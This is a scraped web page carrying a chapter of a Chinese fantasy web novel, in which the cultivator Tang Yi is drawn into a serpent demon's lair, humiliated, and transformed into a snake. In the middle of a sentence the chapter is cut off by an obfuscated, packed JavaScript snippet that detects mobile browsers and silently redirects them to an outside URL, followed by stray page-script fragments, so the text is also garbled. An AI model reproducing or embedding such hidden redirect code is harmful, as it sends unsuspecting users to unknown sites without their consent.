文趣网 > 其他小说 > 废柴也要去捉妖吗 > 34. 沦为蛇妖
    唐逸闯入的时候,气喘吁吁,衣袍上还沾着冷宫墙角的灰,目光在屋内扫了一圈,最后落在她手上。

    那枚蛇形玉佩正安静地躺在她掌心里,不合时宜,也格外诡异。

    修道之人的视力早就与旁人不同,他一眼便看出这玉佩上围绕的黑烟,是妖气。

    淑宁为何拿着妖物,唐逸不敢细想。

    淑宁方才站定就看见唐逸气匆匆闯入,心里暗道不好,但还是换上了那副惯常的天真模样。

    她眨了眨眼,声音又脆又亮:“逸哥哥?你怎么来了,是有什么急事吗?女儿家的闺房,你怎么……”

    淑宁脸上染着一丝难堪,仿佛自己当真是一个被误闯闺房羞怯的小女子罢了。

    察觉到唐逸的眼神正盯着自己手中的玉佩,淑宁颇有些紧张地握紧了几分,而后又摆出一个轻松的笑,将玉佩递至人跟前。

    笑容甜软:“逸哥哥,你可是喜欢这枚玉佩?”

    唐逸的手在发抖,见少女自然地将物品送入怀,他却没有半分喜悦,换作旁人,可得心里羞涩少女的情意。

    可淑宁递得越近,那妖气就越浓。

    见唐逸发呆,淑宁歪着头说:“逸哥哥,你怎么不说话呀?你喜欢,我送你便是了。”

    唐逸此刻心中有了一个念头,或许淑宁当真不知晓呢?

    他问道:“这玉佩是…怎么来的?”

    淑宁低头看了一眼自己掌心的玉佩,然后笑了:“就是造办处打的玉佩呀,喏。”

    她说着朝他走近了一步,把玉佩放到人手心,语气带着几分撒娇的意味。

    “你瞧——”

    玉佩表面的纹路在淑宁放至唐逸手心时亮了一下,淑宁心脏猛地跳了一拍。

    还未等她拿走,一阵吸力从玉面上涌来,将唐逸整个人带去另一个空间。

    厢房内只剩玉佩落在地上清脆的响声,还有淑宁心的砰砰声。

    她看着唐逸消失在自己眼前,她比任何人都清楚这个玉佩的作用。

    淑宁公主俯下身捡起玉佩:“怎么会这样……”

    这玉佩是她与玄蛇沟通的媒介,玄蛇被打下凡妖力大减,被她所救,藏于地下,只有她想见,或是玄蛇呼唤这玉佩才会启动。

    淑宁猛然想起方才与玄蛇的对话:“他说有人来找我了,他分明是知道唐逸来了,对,一定是他!”

    “玄蛇!玄蛇!”淑宁慌张地拍打着玉佩,此刻无措的像个孩子,玄蛇的脾性她知晓,唐逸此番怕是生死难料,只是一切晚矣。

    -

    唐逸感觉自己的身体正在不受控制的飘落,等他再睁开眼的时候,他躺在一片柔软而湿冷的东西上面。

    他愣了一瞬,然后猛地弹坐起来。

    他身下的地面仿佛是活的,正拖着他蠕动,等他往身下看去,额间早已渗出丝丝冷汗。

    密密麻麻的蛇身交缠在一起,鳞片泛着青灰色的冷光,而在那些蛇身之上,嵌着一颗又一颗头颅。

    有的年轻,有的苍老,有的闭着眼,有的睁着,灰白的瞳孔直勾勾地望向他,嘴角翕动,吐出一小截分叉的蛇信。

    它们无声地笑着。

    唐逸的胃里翻涌了一下,他撑着那些滑腻的蛇身站起来,鞋底踩过一颗头颅。

    那头颅像是棉花做的一样,被唐逸踩过的地方凹下去,甚是骇人,但唐逸没有低头看。

    他咬着牙站稳后,刚一抬头,然后他的脚步彻底定住了。

    面前是一座巨大的蛇身,盘踞在洞穴深处,那蛇身之上,九颗头颅高高昂起。

    而最中间的一颗,正居高临下,阴测测地盯着唐逸,仿佛在看一个猎物。

    绕是做了十足的心理准备,但真正面临妖兽时,还是会忍不住露怯,唐逸努力压抑住颤抖的手,抬头仰视着这庞然大物。

    他道:“玄蛇……是你蛊惑了淑宁,让她性情大变的,对么?”

    说完后他就觉察不对,自己竟然在质问一个上古妖兽,妖兽又怎会耐心回答凡人的问题。

    唐逸的手悄然地绕到了腰间的剑身上,那把剑名青莲,是唐家掌门代代相传,唐家药修,善治疗,不善剑术,故掌门通常会把青莲剑传给自己的孩子。

    据说这剑是用东海青玉莲的莲心铸成,剑身蕴着千年药灵,寻常妖物被它划破一道口子,伤口便会被药气浸透,无法愈合。

    但青莲剑有剑灵,唐逸这么久以来都没有见过,所以也从来没有发挥出青莲的真正功力。

    可如今,若真要拼一把,也只能寄希望于这把神剑身上了。

    但玄蛇似乎听进去了这番话,正中间那颗头颅微微歪了一下,像在打量一件不太值钱但还算有趣的物件。

    然后那双暗金色的竖瞳弯了一下,嘴角牵出一个极淡的弧度。九颗头颅同时动了一下。

    其余八颗缓缓睁开眼,八双暗金色的竖瞳同时落在他身上,像八盏同时点燃的冷灯。

    那画面太可怖了,唐逸的后背沁出了一层冷汗,手也逐渐握紧了青莲。

    玄蛇的身形开始变化,那尊巨大的蛇身像烟雾一样收拢、凝聚、重塑,鳞片退去。

    蛇尾消失,取而代之的是一袭黑白相间的长袍,衣摆曳地,腰间松松系着一条墨色的绦带。

    他站在唐逸面前,约莫比他高出半个头,长发半束,垂落在肩侧,面容清雅如画中走出的君子。

    只是那双竖瞳没有变,暗金色的、冰冷的、像两道被拉长的月牙,落在他身上时,带着一种让人后背发麻的审视。

    这样一番变化,倒没有方才那么吓人了。

    玄蛇绕着唐逸走了一圈。衣摆扫过地面,无声无息。

    他停在他身后,微微俯下身,气息落在唐逸的耳侧,带着一丝凉意,像蛇信轻轻掠过皮肤:“沧澜城,唐家药修。”

    他的声音低缓轻柔:“一个炼丹的废物,也配对公主生心思?”

    唐逸自然不服他这番羞辱,冷声道:“那也比你这妖物正当。”

    “妖?呵呵~”玄蛇拂面一笑,倒有些妩媚之意,“你们人又比妖好的了几分?不过是虚与委蛇,又毫无功力的两脚羊罢了。”

    玄蛇又绕到了他面前,微微偏头,那双竖瞳凑近了,近到唐逸能看清他瞳孔里那道细长的裂隙。

    他的嘴角弯着,声音愈发轻了,像在分享一个秘密:“你心心念念的淑宁公主啊,她亲手帮我杀了一个又一个人,把那些尸体一具一具送到我身边。”

    玄蛇一边说,一边往前边走,直至落座在蛇骨椅上,而后定定地望着气得发抖的唐逸。

    他顿生愉悦,又吐露出这样几个字,字字诛心:“她还夜夜与我缠绵。”

    他说最后四个字的时候,尾音微微上扬,像蛇信在空气中轻轻一卷。

    唐逸实在忍受不了,哪怕是拼个你死我活,他也受不了这妖兽的挑衅,他拔出了青莲。

    剑身出鞘的声音在空旷的洞穴里格外清晰,清越如一滴水落入深潭。

    那是一柄通体青色的长剑,剑刃薄而透,像一片被磨薄了的竹叶,在幽暗中泛着泠泠的冷光。

    唐逸双手握剑,剑尖直指玄蛇。

    他的呼吸还未平复,胸膛微微起伏着,但剑柄在他掌心里握得死紧:“你竟敢如此辱没公主。”

    玄蛇微微歪了一下头,像听见了一句有趣的话。

    他没有急着回答,只是慵懒地坐在那尊巨大的蛇骨椅上,单只手支着下颌,目光慢悠悠地从唐逸的脸上滑到剑身上,又滑回来。

    然后他站起身,衣袍垂落如流水,不紧不慢地走到唐逸面前,那双暗金色的竖瞳里映出青莲剑的冷光。

    他低头看着那柄剑,饶有兴趣。

    他伸出舌尖,极轻地,像蛇在试探空气,而后在那片薄如竹叶的剑刃上,缓缓地,舔了一下。

    唐逸瞳孔一缩。

    玄蛇的舌尖在剑刃上划开了一道极细的口子,一滴暗红色的血珠从舌尖渗出来,挂在他唇边。

    他缩回舌尖,眼睛半眯着,像是在品味什么,那抹生锈的血腥味儿从舌尖漾开,刺得他心里麻麻的。

    玄蛇唇角微微弯了一下,然后伸出拇指,漫不经心地将那滴血抹掉了。

    “你是唐家掌门之子。”他的声音低缓,带着一种近乎慵懒的愉悦,“这可是上古神剑。可惜……”

    他抬起眼,目光落在唐逸脸上:“在你手里,它就是一块废铁。”

    他微微侧头,那双竖瞳里浮起一丝极淡的、近乎怜悯的笑意,“连剑都嫌你。”

    唐逸的牙关咬紧,猛地挥剑。

    青莲剑划破空气,剑光如一道青色的匹练,裹着凌厉的剑风,朝玄蛇的面门劈去。

    玄蛇没有躲,他只是微微偏了一下头,剑刃擦着他的耳侧掠过,削下了一小缕垂落的发丝。

    那缕黑发轻飘飘地落在他肩上,他抬手拂掉了,像拂去一粒灰尘。

    玄蛇玩味地笑了:“结发为夫妻,恩爱两不疑,唐公子这是想和我鸾发相依?”

    唐逸脸都涨红了:“无耻!”

    又是一剑,这次不同,玄蛇伸出手,两根手指极轻地夹住了剑身,力道不大,像捏住一片飘过来的花瓣。

    唐逸的剑像被嵌进了石缝里,纹丝不动。

    他用力往回抽,玄

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17673202|203990||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    蛇低头看着那柄被自己夹住的剑,目光在剑身上慢悠悠地滑过,然后抬眼看唐逸。

    他道:“用剑不是这样的。”

    唐逸还没来得及反应,玄蛇的手已经松开了剑身,转而握住了他的手。

    玄蛇身体本就冰凉,如今修长的手指覆上他的手背,扣住他的指节,力道很大,精准地控制了他每一个关节的发力方向。

    唐逸的身体僵了一瞬,但手臂已经被带了起来。

    玄蛇站在他身后,侧过身,像是教一个刚学剑的童子,带着他的手将青莲剑缓缓抬起。

    剑尖在半空中画了一道流畅的弧线,没有停顿,没有滞涩,像一滴墨在宣纸上自行蔓延。

    玄蛇的胸膛贴着他的后背,气息落在他耳侧,声音低而轻,像在教他一句诗:“剑要走意,不走力。”

    唐逸想挣开,但他的手腕被扣得很稳,像是被一条冰凉的蛇缠着,不对,就是被蛇缠着,挣脱不开。

    玄蛇没有给他挣开的机会,带着他的手,剑身一转,斜斜地劈了下去。

    那一剑行云流水,没有任何多余的动作,青莲剑在空气中划过一道细长的青痕,然后精准地落在不远处一条正缓缓抬头的蛇身上。

    剑光没入蛇身,像是切豆腐一样,干脆利落。

    那蛇连声音都没来得及发出,整个身体便从正中断开,四散崩裂,化作一片暗青色的粉末,在幽暗中无声地飘散。

    碎末落在蛇群中,其他蛇头齐刷刷地转向,灰白的瞳孔盯着那堆散落的粉末,又齐刷刷地移开了。

    玄蛇松开了他的手。

    唐逸的手臂垂落下来,青莲剑的剑尖抵在地面上,他扶着剑柄,微微喘着气,额角沁出了一层薄汗。

    玄蛇退开一步,低头看着地上那堆正在消散的粉末,嘴角弯了一下,目光重新落在唐逸身上,带着懒洋洋的满意:“是这样的。”

    声音不重,但落在唐逸耳朵里,比任何嘲讽都更刺耳。

    那一剑的轨迹、力道、角度,干净得像是他练了十年都不一定能达成的样子。

    他说不上来那是什么感觉,只觉得从头到脚都像被人浇了一盆冰水,凉透了,再从骨头缝里往外泛着烫。

    他抬起头,看着玄蛇那双暗金色的竖瞳,看见那双眼睛里映出自己的影子。

    狼狈的、散乱的,唐逸突然不想斗了,只因他知晓,自己不是眼前妖的对手,也不想被他继续玩弄:“你要杀要剐,悉听尊便。何必在这儿……”

    他顿了一下,喉咙里像卡着什么,吞不下去也吐不出来:“把我当猴耍。”

    唐逸刚说完,他只觉得自己手腕被什么冰凉的东西缠住了,只见八颗蛇头已经从四面八方压了下来。

    一颗咬住了他的右手手腕,一颗咬住了他的左手手腕,其余的分别扣住他的脚踝、腰际、肩胛、膝弯。

    玄蛇伸出手,食指隔着衣料,在唐逸心口的位置轻轻点了一下。

    “别紧张。”他的声音低缓轻柔,像在哄一只受了惊的鸟,“我不杀你。”

    他的指尖没有移开,而是慢悠悠地沿着唐逸的胸口往下滑,像在用指腹描摹一幅画的轮廓。

    唐逸的身体绷紧了,牙关咬得咯吱响,试图偏过头去避开那双竖瞳的注视。

    玄蛇没有阻止他偏头,只是轻笑了一声,那笑声很轻很短。

    “我的地下宫殿缺个护卫,”他说,尾音拖得很长,带着一丝慵懒的愉悦,“我看你就挺合适的。”

    唐逸的面色涨得通红,从牙缝里挤出两个字:“做梦。”

    可这句话刚说完,他就感觉一阵冰凉的东西顺着他的四肢蔓延开来。

    从脚踝开始,蛇鳞片片浮现,沿着小腿一路攀爬,膝盖以下已经不再是人的皮肤,而是暗青色的、泛着幽光的蛇鳞。

    他的双腿开始失去知觉,像被抽去了骨头,软塌塌地垂落下去,在石面上拖出一道细长的痕迹。

    玄蛇站起身,居高临下地看着他,看着那双已经开始变形的腿,以及那双逐渐涣散的眼睛,嘴角的弧度慢慢加深了一分。

    那笑容里有一种温柔的残忍,像在观赏一朵花从盛开到凋零的每一个细节。

    唐逸的头垂了下去,意识正在从他体内抽离,像被一根细长的针缓缓吸走,什么也抓不住,什么也握不紧。

    在彻底沉入黑暗之前,他最后看见的,是玄蛇转过身去时衣摆翻飞的弧度。

    那双暗金色竖瞳里近乎满足的笑意,像猎人收好了最后一只猎物。

    余下短短两日光阴,繁华宫阙终将改天换地,整座皇城都会彻底倾覆,尽数化作他盘踞称霸的蛇妖宫殿